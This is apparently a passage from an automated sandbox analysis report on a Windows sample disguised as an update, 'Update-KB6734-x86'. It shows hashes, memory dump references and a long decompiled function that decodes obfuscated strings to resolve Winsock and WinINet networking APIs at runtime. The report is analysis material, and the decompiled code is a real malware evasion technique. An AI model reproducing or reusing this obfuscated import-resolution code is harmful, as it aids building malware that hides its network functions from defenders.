Opcode ID: 3a04cc8b361c076a0362b5c036726eecff50e13908a8c9e731f841f160eecbcf
Instruction ID: 8324cbe143142dc0cac62d77d3f6cf7a468de274990aa9f35782c1b63ab95c38
Opcode Fuzzy Hash: 3a04cc8b361c076a0362b5c036726eecff50e13908a8c9e731f841f160eecbcf
Instruction Fuzzy Hash: 56F0C832B01131A7EB24FB65BD0674E76A0AB00365FA6016AFC10672D1C73C1A81865C

Uniqueness

Uniqueness Score: -1.00%

Function 0042846F, Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00425E5F,00000001,?,0042E598,00000060), ref: 00428480

Part of subcall function 004284C0: HeapAlloc.KERNEL32(00000000,00000140,004284A8,000003F8,?,0042E598,00000060), ref: 004284CD

HeapDestroy.KERNEL32(?,0042E598,00000060), ref: 004284B3

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$AllocCreateDestroy
String ID:
API String ID: 2236781399-0
Opcode ID: 6464811ea9addaf19c19e5f0393c9d87aba79a32682558a56be755e4c38de286
Instruction ID: 3fe268917fd00d31aa756ebf7d8a68b1e22f7c153431ead6360d70d6e1d70485
Opcode Fuzzy Hash: 6464811ea9addaf19c19e5f0393c9d87aba79a32682558a56be755e4c38de286
Instruction Fuzzy Hash: A7E01A70B562129BEB147F316D0672E7AE49B84747F84587EB400C61A0FE788A459609

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C660, Relevance: 370.5, APIs: 33, Strings: 178, Instructions: 1203
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E0041C660() {
				intOrPtr _v4;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				intOrPtr _t911;
				signed int _t912;
				CHAR* _t916;
				_Unknown_base(*)()* _t917;
				_Unknown_base(*)()* _t918;
				_Unknown_base(*)()* _t921;
				CHAR* _t924;
				_Unknown_base(*)()* _t925;
				CHAR* _t927;
				_Unknown_base(*)()* _t928;
				_Unknown_base(*)()* _t929;
				_Unknown_base(*)()* _t931;
				void* _t932;
				_Unknown_base(*)()* _t934;
				_Unknown_base(*)()* _t935;
				void* _t936;
				_Unknown_base(*)()* _t938;
				void* _t939;
				_Unknown_base(*)()* _t940;
				void* _t941;
				_Unknown_base(*)()* _t943;
				CHAR* _t946;
				_Unknown_base(*)()* _t947;
				void* _t948;
				_Unknown_base(*)()* _t949;
				CHAR* _t951;
				_Unknown_base(*)()* _t952;
				void* _t953;
				_Unknown_base(*)()* _t954;
				CHAR* _t957;
				_Unknown_base(*)()* _t958;
				_Unknown_base(*)()* _t959;
				_Unknown_base(*)()* _t960;
				void* _t961;
				_Unknown_base(*)()* _t962;
				CHAR* _t964;
				signed int _t966;
				_Unknown_base(*)()* _t968;
				void* _t969;
				_Unknown_base(*)()* _t970;
				void* _t971;
				_Unknown_base(*)()* _t973;
				void* _t974;
				_Unknown_base(*)()* _t975;
				CHAR* _t978;
				_Unknown_base(*)()* _t979;
				void* _t980;
				_Unknown_base(*)()* _t983;
				_Unknown_base(*)()* _t986;
				_Unknown_base(*)()* _t992;
				_Unknown_base(*)()* _t994;
				struct HINSTANCE__* _t1096;
				struct HINSTANCE__* _t1097;
				struct HINSTANCE__* _t1098;
				struct HINSTANCE__* _t1099;
				void* _t1105;
				void* _t1106;
				void* _t1107;
				void* _t1108;
				void* _t1109;
				void* _t1110;
				void* _t1111;
				void* _t1112;
				void* _t1113;

				_t1105 =  &_v324;
				_t911 =  *0x4310d8; // 0xa9302559
				_v4 = _t911;
				_v80 = 0x7f;
				_v79 = 0x52;
				_v78 = 0x2e;
				_v77 = 0x82;
				_v76 = 0xe0;
				_v75 = 0xc7;
				_v74 = 0x10;
				_v73 = 0xe8;
				_v72 = 0x81;
				_v71 = 0x64;
				_v70 = 0x40;
				_v244 = 0x28;
				_v243 = 1;
				_v242 = 0x1c;
				_v241 = 0xdd;
				_v240 = 0xd3;
				_v239 = 0xf5;
				_v238 = 0x3e;
				_v237 = 0xac;
				_v236 = 0xcd;
				_v235 = 0x28;
				_v234 = 0x40;
				_t912 = 0;
				do {
					 *(_t1105 + _t912 + 0x100) =  *(_t1105 + _t912 + 0x100) ^  *(_t1105 + _t912 + 0x5c);
					_t912 = _t912 + 1;
				} while (_t912 < 0xb);
				_t1096 = LoadLibraryA( &_v80);
				if(_t1096 != 0) {
					_push(0xb);
					_push( &_v176);
					_v176 = 0x1a;
					_v175 = 0xb4;
					_v174 = 0x19;
					_v173 = 0x46;
					_v172 = 0x94;
					_v171 = 0xcb;
					_v170 = 0x17;
					_v169 = 0x87;
					_v168 = 0xa;
					_v167 = 0x74;
					_v166 = 0x5a;
					_v324 = 0x5a;
					_v323 = 4;
					_v322 = 0x7f;
					_v321 = 0xf3;
					_v320 = 0x65;
					_v319 = 0xaa;
					_v318 = 0xe0;
					_v317 = 0x15;
					_v316 = 0x58;
					_v315 = 0xe7;
					_v314 = 0x4d;
					_t916 = E0041C580( &_v324);
					_t1106 = _t1105 + 8;
					_t917 = GetProcAddress(_t1096, _t916);
					 *0x431ea8 = _t917;
					if(_t917 != 0) {
						_v60 = 0x68;
						_v59 = 0x74;
						_v58 = 0x6f;
						_v57 = 0x6e;
						_v56 = 0x73;
						_v55 = 0;
						_t918 = GetProcAddress(_t1096,  &_v60);
						 *0x431eac = _t918;
						if(_t918 == 0) {
							goto L5;
						} else {
							_v188 = 0x69;
							_v187 = 0x6e;
							_v186 = 0x65;
							_v185 = 0x74;
							_v184 = 0x5f;
							_v183 = 0x61;
							_v182 = 0x64;
							_v181 = 0x64;
							_v180 = 0x72;
							_v179 = 0;
							_t921 = GetProcAddress(_t1096,  &_v188);
							 *0x431eb0 = _t921;
							if(_t921 == 0) {
								goto L5;
							} else {
								_v9 = 0x3f;
								_v322 = 0x3f;
								_v318 = 0x3f;
								_v20 = 0x1e;
								_v19 = 0x67;
								_v18 = 0xd0;
								_v17 = 0x54;
								_v16 = 0x95;
								_v15 = 0x10;
								_v14 = 0x43;
								_v13 = 0xd7;
								_v12 = 5;
								_v11 = 0x9e;
								_v10 = 0x14;
								_v8 = 0xed;
								_v7 = 0x20;
								_v324 = 0x3d;
								_v323 = 0x5a;
								_v321 = 0x4b;
								_v320 = 0x23;
								_v319 = 0x4c;
								_v317 = 0x4b;
								_v316 = 0x29;
								_v315 = 0x50;
								_v314 = 0x3e;
								_v313 = 0x5f;
								_v312 = 0x32;
								_v311 = 0x57;
								_t924 = E0041C4C0( &_v324, 0xe,  &_v20);
								_t1107 = _t1106 + 4;
								_t925 = GetProcAddress(_t1096, _t924);
								 *0x431eb4 = _t925;
								if(_t925 == 0) {
									goto L5;
								} else {
									_push(7);
									_push( &_v52);
									_v52 = 0x2e;
									_v51 = 0x1a;
									_v50 = 0x86;
									_v49 = 0xf6;
									_v48 = 0xe9;
									_v47 = 0xd4;
									_v46 = 0xe8;
									_v324 = 0xe8;
									_v323 = 0xa0;
									_v322 = 0x8c;
									_v321 = 0x9d;
									_v320 = 0xe5;
									_v319 = 0x75;
									_v318 = 0x5d;
									_t927 = E0041C580( &_v324);
									_t1108 = _t1107 + 8;
									_t928 = GetProcAddress(_t1096, _t927);
									 *0x431eb8 = _t928;
									if(_t928 == 0) {
										goto L5;
									} else {
										_v44 = 0x63;
										_v43 = 0x6f;
										_v42 = 0x6e;
										_v41 = 0x6e;
										_v40 = 0x65;
										_v39 = 0x63;
										_v38 = 0x74;
										_v37 = 0;
										_t929 = GetProcAddress(_t1096,  &_v44);
										 *0x431ebc = _t929;
										if(_t929 == 0) {
											goto L5;
										} else {
											_v68 = 0x73;
											_v67 = 0x65;
											_v66 = 0x6e;
											_v65 = 0x64;
											_v64 = 0;
											_t931 = GetProcAddress(_t1096,  &_v68);
											 *0x431ec0 = _t931;
											if(_t931 == 0) {
												goto L5;
											} else {
												_v232 = 0x42;
												_v231 = 0xf;
												_v230 = 0xc9;
												_v229 = 0x5b;
												_v228 = 0xb1;
												_v227 = 0x62;
												_v226 = 0x6e;
												_v225 = 0xf2;
												_v224 = 0xa9;
												_v223 = 0xc1;
												_v222 = 0xea;
												_v221 = 0xdf;
												_v324 = 0x21;
												_v323 = 0x5d;
												_v322 = 0xa6;
												_v321 = 0x18;
												_v320 = 0xb4;
												_v319 = 0x11;
												_v318 = 1;
												_v317 = 0x71;
												_v316 = 0xc2;
												_v315 = 0xa4;
												_v314 = 0x8a;
												_v313 = 0x21;
												_t932 = 0;
												do {
													 *((char*)(_t1108 + _t932 + 0x6c)) =  *((intOrPtr*)(_t1108 + _t932 + 0x6c)) +  *((intOrPtr*)(_t1108 + _t932 + 0x10));
													 *((char*)(_t1108 + _t932 + 0x6d)) =  *((intOrPtr*)(_t1108 + _t932 + 0x6d)) +  *((intOrPtr*)(_t1108 + _t932 + 0x11));
													 *((char*)(_t1108 + _t932 + 0x6e)) =  *((intOrPtr*)(_t1108 + _t932 + 0x6e)) +  *((intOrPtr*)(_t1108 + _t932 + 0x12));
													 *((char*)(_t1108 + _t932 + 0x6f)) =  *((intOrPtr*)(_t1108 + _t932 + 0x6f)) +  *((intOrPtr*)(_t1108 + _t932 + 0x13));
													 *((char*)(_t1108 + _t932 + 0x70)) =  *((intOrPtr*)(_t1108 + _t932 + 0x70)) +  *((intOrPtr*)(_t1108 + _t932 + 0x14));
													 *((char*)(_t1108 + _t932 + 0x71)) =  *((intOrPtr*)(_t1108 + _t932 + 0x71)) +  *((intOrPtr*)(_t1108 + _t932 + 0x15));
													_t932 = _t932 + 6;
												} while (_t932 < 0xc);
												_t934 = GetProcAddress(_t1096,  &_v232);
												 *0x431ec4 = _t934;
												if(_t934 == 0) {
													goto L5;
												} else {
													_v136 = 0x73;
													_v135 = 0x68;
													_v134 = 0x75;
													_v133 = 0x74;
													_v132 = 0x64;
													_v131 = 0x6f;
													_v130 = 0x77;
													_v129 = 0x6e;
													_v128 = 0;
													_t935 = GetProcAddress(_t1096,  &_v136);
													 *0x431ec8 = _t935;
													if(_t935 == 0) {
														goto L5;
													} else {
														_v200 = 0x54;
														_v199 = 0x4f;
														_v198 = 8;
														_v197 = 0xf8;
														_v196 = 0xc4;
														_v195 = 0x66;
														_v194 = 0x8f;
														_v193 = 0x52;
														_v192 = 0xeb;
														_v191 = 0x7a;
														_v190 = 0xee;
														_v324 = 0x1f;
														_v323 = 0x16;
														_v322 = 0x6c;
														_v321 = 0x7b;
														_v320 = 0xab;
														_v319 = 0xfd;
														_v318 = 0xdc;
														_v317 = 0x1d;
														_v316 = 0x85;
														_v315 = 0xfa;
														_v314 = 0x12;
														_t936 = 0;
														do {
															 *((char*)(_t1108 + _t936 + 0x8c)) =  *((intOrPtr*)(_t1108 + _t936 + 0x8c)) +  *((intOrPtr*)(_t1108 + _t936 + 0x10));
															_t936 = _t936 + 1;
														} while (_t936 < 0xb);
														_t938 = GetProcAddress(_t1096,  &_v200);
														 *0x431ecc = _t938;
														if(_t938 == 0) {
															goto L5;
														} else {
															_v244 = 0xb9;
															_v243 = 0xf6;
															_v242 = 6;
															_v241 = 0x72;
															_v240 = 0x49;
															_v239 = 0x70;
															_v238 = 0xbe;
															_v237 = 0x82;
															_v236 = 0xfb;
															_v235 = 0x80;
															_v234 = 0xa9;
															_v324 = 0x9e;
															_v323 = 0x5d;
															_v322 = 0x3b;
															_v321 = 0xe1;
															_v320 = 0x26;
															_v319 = 0xf3;
															_v318 = 0xad;
															_v317 = 0xe3;
															_v316 = 0x79;
															_v315 = 0xc1;
															_v314 = 0x57;
															_t939 = 0;
															do {
																 *((char*)(_t1108 + _t939 + 0x60)) =  *((intOrPtr*)(_t1108 + _t939 + 0x60)) +  *((intOrPtr*)(_t1108 + _t939 + 0x10));
																_t939 = _t939 + 1;
															} while (_t939 < 0xb);
															_t940 = GetProcAddress(_t1096,  &_v244);
															 *0x431ed0 = _t940;
															if(_t940 == 0) {
																goto L5;
															} else {
																_v284 = 0x2b;
																_v283 = 0xa5;
																_v282 = 0x80;
																_v281 = 0x7e;
																_v280 = 0xca;
																_v279 = 0xf;
																_v278 = 0xb;
																_v277 = 0x1f;
																_v276 = 0x5c;
																_v275 = 0xc2;
																_v274 = 0xe0;
																_v273 = 0xd6;
																_v272 = 0x70;
																_v271 = 0xb6;
																_v270 = 0x5e;
																_v269 = 0x13;
																_v324 = 0x2c;
																_v323 = 0xae;
																_v322 = 0xc1;
																_v321 = 0xc9;
																_v320 = 0x9b;
																_v319 = 0x65;
																_v318 = 0x41;
																_v317 = 0x42;
																_v316 = 0x17;
																_v315 = 0xb2;
																_v314 = 0x65;
																_v313 = 0x9c;
																_v312 = 2;
																_v311 = 0xb9;
																_v310 = 0x14;
																_v309 = 0xed;
																_t941 = 0;
																do {
																	 *((char*)(_t1108 + _t941 + 0x38)) =  *((intOrPtr*)(_t1108 + _t941 + 0x38)) +  *((intOrPtr*)(_t1108 + _t941 + 0x10));
																	 *((char*)(_t1108 + _t941 + 0x39)) =  *((intOrPtr*)(_t1108 + _t941 + 0x39)) +  *((intOrPtr*)(_t1108 + _t941 + 0x11));
																	 *((char*)(_t1108 + _t941 + 0x3a)) =  *((intOrPtr*)(_t1108 + _t941 + 0x3a)) +  *((intOrPtr*)(_t1108 + _t941 + 0x12));
																	 *((char*)(_t1108 + _t941 + 0x3b)) =  *((intOrPtr*)(_t1108 + _t941 + 0x3b)) +  *((intOrPtr*)(_t1108 + _t941 + 0x13));
																	_t941 = _t941 + 4;
																} while (_t941 < 0x10);
																_t943 = GetProcAddress(_t1096,  &_v284);
																 *0x431ed4 = _t943;
																if(_t943 == 0) {
																	goto L5;
																} else {
																	_v311 = 9;
																	_v310 = 9;
																	_push(0xf);
																	_push( &_v264);
																	_v264 = 0x5e;
																	_v263 = 0x5a;
																	_v262 = 0xc7;
																	_v261 = 0xbb;
																	_v260 = 0xc4;
																	_v259 = 1;
																	_v258 = 0x7d;
																	_v257 = 0xfc;
																	_v256 = 0x43;
																	_v255 = 7;
																	_v254 = 0x17;
																	_v253 = 0xb6;
																	_v252 = 0xfd;
																	_v251 = 0xa2;
																	_v250 = 0x37;
																	_v324 = 0x37;
																	_v323 = 0xd6;
																	_v322 = 0x93;
																	_v321 = 0xd3;
																	_v320 = 0x61;
																	_v319 = 0x42;
																	_v318 = 0x26;
																	_v317 = 0x88;
																	_v316 = 0x1c;
																	_v315 = 0x64;
																	_v314 = 0xb6;
																	_v313 = 0xf8;
																	_v312 = 0x86;
																	_t946 = E0041C580( &_v324);
																	_t1109 = _t1108 + 8;
																	_t947 = GetProcAddress(_t1096, _t946);
																	 *0x431ed8 = _t947;
																	if(_t947 == 0) {
																		goto L5;
																	} else {
																		_v220 = 0x83;
																		_v219 = 0x87;
																		_v218 = 0x95;
																		_v217 = 0x91;
																		_v216 = 0xa2;
																		_v215 = 0xb1;
																		_v214 = 0xba;
																		_v213 = 0xa0;
																		_v212 = 0x87;
																		_v211 = 0xb1;
																		_v210 = 0xb8;
																		_v209 = 0xb1;
																		_v208 = 0xb7;
																		_v207 = 0xa0;
																		_v206 = 0xd4;
																		_t948 = 0;
																		do {
																			 *(_t1109 + _t948 + 0x78) =  *(_t1109 + _t948 + 0x78) ^ 0x000000d4;
																			_t948 = _t948 + 1;
																		} while (_t948 < 0xf);
																		_t949 = GetProcAddress(_t1096,  &_v220);
																		 *0x431edc = _t949;
																		if(_t949 == 0) {
																			goto L5;
																		} else {
																			_v300 = 8;
																			_v299 = 0x8c;
																			_v298 = 0x1d;
																			_v297 = 0x29;
																			_v296 = 0xc0;
																			_v295 = 0x16;
																			_v294 = 3;
																			_v293 = 0xf4;
																			_v292 = 0xb4;
																			_v291 = 0x2a;
																			_v290 = 0x12;
																			_v324 = 0xe1;
																			_v323 = 0xb6;
																			_v322 = 0xe5;
																			_v321 = 0xa4;
																			_v320 = 0xe7;
																			_v319 = 0x88;
																			_v318 = 0xe6;
																			_v317 = 0x88;
																			_v316 = 0xed;
																			_v315 = 0x8e;
																			_v314 = 0xfa;
																			_t951 = E0041C4C0( &_v324, 0xb,  &_v300);
																			_t1110 = _t1109 + 4;
																			_t952 = GetProcAddress(_t1096, _t951);
																			 *0x431ee0 = _t952;
																			if(_t952 == 0) {
																				goto L5;
																			} else {
																				_v104 = 0x32;
																				_v103 = 0xe1;
																				_v102 = 0x4c;
																				_v101 = 0x72;
																				_v100 = 0x9c;
																				_v99 = 0xa5;
																				_v98 = 0x1d;
																				_v97 = 0xd6;
																				_v96 = 0xf8;
																				_v95 = 0xc1;
																				_v94 = 0x42;
																				_v93 = 0xbe;
																				_v92 = 0xe2;
																				_v91 = 0x35;
																				_v90 = 0x94;
																				_v89 = 0xed;
																				_v88 = 0xd8;
																				_v87 = 0x5c;
																				_v86 = 0xbe;
																				_v85 = 0xe3;
																				_v84 = 0x29;
																				_v324 = 0x65;
																				_v323 = 0xb2;
																				_v322 = 0xd;
																				_v321 = 0x37;
																				_v320 = 0xf2;
																				_v319 = 0xd0;
																				_v318 = 0x70;
																				_v317 = 0x98;
																				_v316 = 0x9d;
																				_v315 = 0xb5;
																				_v314 = 0x35;
																				_v313 = 0xd1;
																				_v312 = 0x90;
																				_v311 = 0x5e;
																				_v310 = 0xd1;
																				_v309 = 0x9b;
																				_v308 = 0xbd;
																				_v307 = 0x32;
																				_v306 = 0xca;
																				_v305 = 0x90;
																				_v304 = 0x29;
																				_t953 = 0;
																				do {
																					 *(_t1110 + _t953 + 0xec) =  *(_t1110 + _t953 + 0xec) ^  *(_t1110 + _t953 + 0x10);
																					 *(_t1110 + _t953 + 0xed) =  *(_t1110 + _t953 + 0xed) ^  *(_t1110 + _t953 + 0x11);
																					 *(_t1110 + _t953 + 0xee) =  *(_t1110 + _t953 + 0xee) ^  *(_t1110 + _t953 + 0x12);
																					_t953 = _t953 + 3;
																				} while (_t953 < 0x15);
																				_t954 = GetProcAddress(_t1096,  &_v104);
																				 *0x431ee4 = _t954;
																				if(_t954 == 0) {
																					goto L5;
																				} else {
																					_push(0xe);
																					_push( &_v124);
																					_v124 = 0x23;
																					_v123 = 0x93;
																					_v122 = 0x35;
																					_v121 = 0xe2;
																					_v120 = 0x14;
																					_v119 = 0xc4;
																					_v118 = 0xca;
																					_v117 = 0x89;
																					_v116 = 0x5f;
																					_v115 = 0xd1;
																					_v114 = 0x4b;
																					_v113 = 0x12;
																					_v112 = 0x74;
																					_v111 = 6;
																					_v324 = 6;
																					_v323 = 0;
																					_v322 = 0x7c;
																					_v321 = 0x2e;
																					_v320 = 0xa7;
																					_v319 = 0x1a;
																					_v318 = 0xec;
																					_v317 = 0xb9;
																					_v316 = 0xab;
																					_v315 = 0x78;
																					_v314 = 0xa1;
																					_v313 = 0x74;
																					_v312 = 0xc0;
																					_v311 = 0x74;
																					_t957 = E0041C580( &_v324);
																					_t1111 = _t1110 + 8;
																					_t958 = GetProcAddress(_t1096, _t957);
																					 *0x431ee8 = _t958;
																					if(_t958 == 0) {
																						goto L5;
																					} else {
																						_v36 = 0x57;
																						_v35 = 0x53;
																						_v34 = 0x41;
																						_v33 = 0x52;
																						_v32 = 0x65;
																						_v31 = 0x63;
																						_v30 = 0x76;
																						_v29 = 0;
																						_t959 = GetProcAddress(_t1096,  &_v36);
																						 *0x431eec = _t959;
																						if(_t959 == 0) {
																							goto L5;
																						} else {
																							_v28 = 0x57;
																							_v27 = 0x53;
																							_v26 = 0x41;
																							_v25 = 0x53;
																							_v24 = 0x65;
																							_v23 = 0x6e;
																							_v22 = 0x64;
																							_v21 = 0;
																							_t960 = GetProcAddress(_t1096,  &_v28);
																							 *0x431ef0 = _t960;
																							if(_t960 == 0) {
																								goto L5;
																							} else {
																								_v151 = 0x90;
																								_v164 = 0x6b;
																								_v163 = 0x54;
																								_v162 = 0x51;
																								_v161 = 0xe0;
																								_v160 = 0xe1;
																								_v159 = 0x4a;
																								_v158 = 0x93;
																								_v157 = 0x9e;
																								_v156 = 0x41;
																								_v155 = 0x69;
																								_v154 = 0xf9;
																								_v153 = 0xc8;
																								_v152 = 0x34;
																								_v150 = 0xf0;
																								_v149 = 0x34;
																								_v148 = 0x34;
																								_v147 = 0xbc;
																								_v146 = 0x28;
																								_v145 = 0xac;
																								_v144 = 0xd;
																								_v143 = 0x2d;
																								_v142 = 0xa6;
																								_v324 = 0x3c;
																								_v323 = 7;
																								_v322 = 0x10;
																								_v321 = 0xa7;
																								_v320 = 0x84;
																								_v319 = 0x3e;
																								_v318 = 0xdc;
																								_v317 = 0xe8;
																								_v316 = 0x24;
																								_v315 = 0x1b;
																								_v314 = 0x95;
																								_v313 = 0xa9;
																								_v312 = 0x44;
																								_v311 = 0xe0;
																								_v310 = 0x95;
																								_v309 = 0x50;
																								_v308 = 0x66;
																								_v307 = 0xd9;
																								_v306 = 0x5b;
																								_v305 = 0xd9;
																								_v304 = 0x61;
																								_v303 = 0x59;
																								_v302 = 0xa6;
																								_t961 = 0;
																								do {
																									 *(_t1111 + _t961 + 0xb0) =  *(_t1111 + _t961 + 0xb0) ^  *(_t1111 + _t961 + 0x10);
																									_t961 = _t961 + 1;
																								} while (_t961 < 0x17);
																								_t962 = GetProcAddress(_t1096,  &_v164);
																								 *0x431ef4 = _t962;
																								if(_t962 == 0) {
																									goto L5;
																								} else {
																									_v232 = 0x53;
																									_v231 = 0x8b;
																									_v230 = 0xbe;
																									_v229 = 0xec;
																									_v228 = 0xbe;
																									_v227 = 0x6c;
																									_v226 = 0x99;
																									_v225 = 0x48;
																									_v224 = 0x4e;
																									_v223 = 0x30;
																									_v222 = 0x6a;
																									_v221 = 0xa4;
																									_v300 = 0x21;
																									_v299 = 0x76;
																									_v298 = 0x1f;
																									_v297 = 0x71;
																									_v296 = 0x18;
																									_v295 = 0x76;
																									_v294 = 0x13;
																									_v293 = 0x67;
																									_v292 = 0x49;
																									_v291 = 0x2d;
																									_v290 = 0x41;
																									_v289 = 0x2d;
																									_t964 = E0041C4C0( &_v300, 0xc,  &_v232);
																									_t1112 = _t1111 + 4;
																									_t1097 = LoadLibraryA(_t964);
																									_t966 = 0;
																									if(_t1097 == 0) {
																										L63:
																										return E00424873(_t966, _v4);
																									} else {
																										_v164 = 0xd3;
																										_v163 = 0xf4;
																										_v162 = 0xee;
																										_v161 = 0xff;
																										_v160 = 0xe8;
																										_v159 = 0xf4;
																										_v158 = 0xff;
																										_v157 = 0xee;
																										_v156 = 0xdd;
																										_v155 = 0xff;
																										_v154 = 0xee;
																										_v153 = 0xd9;
																										_v152 = 0xf5;
																										_v151 = 0xf4;
																										_v150 = 0xf4;
																										_v149 = 0xff;
																										_v148 = 0xf9;
																										_v147 = 0xee;
																										_v146 = 0xff;
																										_v145 = 0xfe;
																										_v144 = 0xc9;
																										_v143 = 0xee;
																										_v142 = 0xfb;
																										_v141 = 0xee;
																										_v140 = 0xff;
																										_v139 = 0x9a;
																										do {
																											 *(_t1112 + _t966 + 0xb0) =  *(_t1112 + _t966 + 0xb0) ^ 0x0000009a;
																											_t966 = _t966 + 1;
																										} while (_t966 < 0x1a);
																										_t968 = GetProcAddress(_t1097,  &_v164);
																										 *0x431ef8 = _t968;
																										if(_t968 == 0) {
																											goto L5;
																										} else {
																											_v300 = 0xec;
																											_v299 = 0xcb;
																											_v298 = 0xd1;
																											_v297 = 0xc0;
																											_v296 = 0xd7;
																											_v295 = 0xcb;
																											_v294 = 0xc0;
																											_v293 = 0xd1;
																											_v292 = 0xea;
																											_v291 = 0xd5;
																											_v290 = 0xc0;
																											_v289 = 0xcb;
																											_v288 = 0xe4;
																											_v287 = 0xa5;
																											_t969 = 0;
																											do {
																												 *(_t1112 + _t969 + 0x28) =  *(_t1112 + _t969 + 0x28) ^ 0x000000a5;
																												_t969 = _t969 + 1;
																											} while (_t969 < 0xe);
																											_t970 = GetProcAddress(_t1097,  &_v300);
																											 *0x431efc = _t970;
																											if(_t970 == 0) {
																												goto L5;
																											} else {
																												_v284 = 0xa3;
																												_v283 = 0x84;
																												_v282 = 0x9e;
																												_v281 = 0x8f;
																												_v280 = 0x98;
																												_v279 = 0x84;
																												_v278 = 0x8f;
																												_v277 = 0x9e;
																												_v276 = 0xa5;
																												_v275 = 0x9a;
																												_v274 = 0x8f;
																												_v273 = 0x84;
																												_v272 = 0xbf;
																												_v271 = 0x98;
																												_v270 = 0x86;
																												_v269 = 0xab;
																												_v268 = 0xea;
																												_t971 = 0;
																												do {
																													 *(_t1112 + _t971 + 0x38) =  *(_t1112 + _t971 + 0x38) ^ 0x000000ea;
																													_t971 = _t971 + 1;
																												} while (_t971 < 0x11);
																												_t973 = GetProcAddress(_t1097,  &_v284);
																												 *0x431f00 = _t973;
																												if(_t973 == 0) {
																													goto L5;
																												} else {
																													_v264 = 0x88;
																													_v263 = 0x43;
																													_v262 = 0xfc;
																													_v261 = 0x99;
																													_v260 = 0xa6;
																													_v259 = 0x58;
																													_v258 = 0x6a;
																													_v257 = 0xe2;
																													_v256 = 0xbe;
																													_v255 = 0x9f;
																													_v254 = 0x20;
																													_v253 = 0xed;
																													_v252 = 0x35;
																													_v251 = 0xb4;
																													_v250 = 0x34;
																													_v249 = 0xfa;
																													_v248 = 0xe7;
																													_v220 = 0xc1;
																													_v219 = 0x2b;
